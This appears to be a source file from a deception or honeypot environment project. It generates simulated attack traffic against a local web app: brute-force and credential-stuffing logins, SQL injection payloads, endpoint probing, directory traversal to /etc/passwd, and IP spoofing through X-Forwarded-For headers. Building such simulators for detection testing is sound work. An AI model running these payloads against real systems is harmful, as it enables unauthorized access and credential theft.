ai-deception-openenv / env /attacker.py
spidey121's picture
fix round 1
d9a89dc
Raw
History Blame Contribute Delete
2.09 kB
import requests
import time
import random
TARGET = "http://127.0.0.1:7860"
# Multiple attacker IPs
ATTACKER_IPS = [
"192.168.1.10",
"192.168.1.11",
"192.168.1.12",
"10.0.0.5",
"172.16.0.3"
]
def brute_force():
ip = random.choice(ATTACKER_IPS)
for i in range(5):
requests.post(
f"{TARGET}/login",
data={
"username": "admin",
"password": "wrong"
},
headers={"X-Forwarded-For": ip}
)
time.sleep(0.3)
def port_scan():
ip = random.choice(ATTACKER_IPS)
endpoints = ["/admin", "/config", "/backup"]
for ep in endpoints:
requests.get(
f"{TARGET}{ep}",
headers={"X-Forwarded-For": ip}
)
def credential_stuffing():
ip = random.choice(ATTACKER_IPS)
passwords = ["admin", "password", "123456"]
for p in passwords:
requests.post(
f"{TARGET}/login",
data={
"username": "admin",
"password": p
},
headers={"X-Forwarded-For": ip}
)
def sql_injection():
ip = random.choice(ATTACKER_IPS)
payloads = [
"' OR '1'='1",
"' OR 1=1 --",
"' UNION SELECT * FROM users --"
]
for payload in payloads:
requests.post(
f"{TARGET}/login",
data={
"username": payload,
"password": payload
},
headers={"X-Forwarded-For": ip}
)
def directory_traversal():
ip = random.choice(ATTACKER_IPS)
paths = [
"/../../etc/passwd",
"/../config",
"/../../backup"
]
for path in paths:
requests.get(
f"{TARGET}{path}",
headers={"X-Forwarded-For": ip}
)
def simulate_attack():
attacks = [
brute_force,
port_scan,
credential_stuffing,
sql_injection,
directory_traversal
]
selected = random.sample(attacks, k=2)
for attack in selected:
attack()